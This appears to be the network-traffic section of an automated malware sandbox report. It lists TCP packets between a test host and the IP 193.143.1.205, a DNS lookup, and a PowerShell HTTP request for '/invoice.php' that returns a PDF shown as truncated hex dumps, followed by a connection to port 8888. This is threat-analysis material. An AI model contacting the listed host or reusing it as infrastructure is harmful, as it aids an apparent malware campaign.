Jan 11, 2025 03:22:53.231471062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231477976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.231488943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231499910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231502056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.231519938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231529951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.231534004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.231581926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.232237101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.232249022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.232261896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.232275963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.232287884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.232296944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.232301950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.232317924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.232327938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.232332945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.232356071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.232383013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.259972095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.259985924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.259998083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260085106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260097027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260108948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260119915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.260124922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260181904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.260250092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260349035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260360003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260402918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.260519028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260530949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260541916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260555029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260574102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.260603905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.260736942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.260791063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.266591072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.287228107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287240982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287250996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287290096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287302971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287441015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.287441015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.287467957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287481070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287494898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287518024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.287539959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.287674904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287688017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287699938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287714005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287725925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287735939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.287734985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.287787914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.288022995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.288117886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.288129091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.288140059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.288151979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.288162947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.288166046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.288178921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.288187981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.288194895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.288235903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.288254023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.320307016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320326090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320337057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320347071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320354939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320359945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320367098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320398092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.320477009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.320508003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320523977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320535898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320547104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320549965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.320593119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.320796967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320808887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320822001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320832968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320841074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.320863962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.320880890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.320921898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.321119070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321130037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321151018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321162939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321175098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321186066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321197033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321208954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321219921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.321223974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321259022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.321826935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321837902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321847916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321861029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321871042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321875095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.321883917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321897030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321907997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321923018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321929932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.321938992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321952105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321963072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321969032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.321976900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321990013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.321995020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.322015047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.322622061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.322632074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.322642088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.322652102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.322663069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.322674990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.322674990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.322688103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.322698116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.322707891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.322726011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.322755098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.323235035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323245049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323254108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323263884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323275089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323278904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.323287010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323298931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323308945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323308945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.323329926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323340893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323345900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.323352098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323363066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323375940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323378086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.323383093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.323398113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.323421955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.324135065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324146032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324155092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324174881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324189901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324201107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324210882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324212074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.324223042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324233055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324244022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324250937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.324255943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324268103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324275970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.324280977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324295044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.324301004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.324348927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.347877026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.352447987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.352509975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.352523088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.352551937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.352652073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.352664948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.352695942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.352749109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.352760077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.352775097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.352787018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.352793932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.352839947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.353010893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.353024006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.353048086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.353061914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.353066921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.353076935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.353094101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.353131056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.379750013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.379772902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.379785061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.379894972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.379935980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.379949093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.379960060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.379986048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.380053043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.380172968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380183935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380196095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380208015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380220890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380259037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.380400896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380413055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380424023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380439997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380443096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.380466938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.380669117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380687952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380702019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380707979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.380717039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380728960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380740881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.380745888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.380770922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.409451008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.412774086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.412786961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.412801981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.412857056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.412909031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.412933111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.412945032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.412955999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.412967920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.412997007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.413032055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.413173914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.413187027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.413197994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:53.413227081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.441468000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:53.567830086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:54.157342911 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:54.162477016 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:54.162584066 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:54.169692993 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:54.174602032 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:54.964735031 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:22:55.013417006 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:22:55.081192017 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:23:04.110311031 CET	64305	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:23:04.110311031 CET	192.168.2.4	1.1.1.1	0x1ea9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:23:04.118778944 CET	1.1.1.1	192.168.2.4	0x1ea9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	4936	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:22:51.835386992 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:22:52.633464098 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:22:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:22:52.633490086 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:22:52.633507013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:22:52.633523941 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 03:22:52.633543015 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 03:22:52.633629084 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
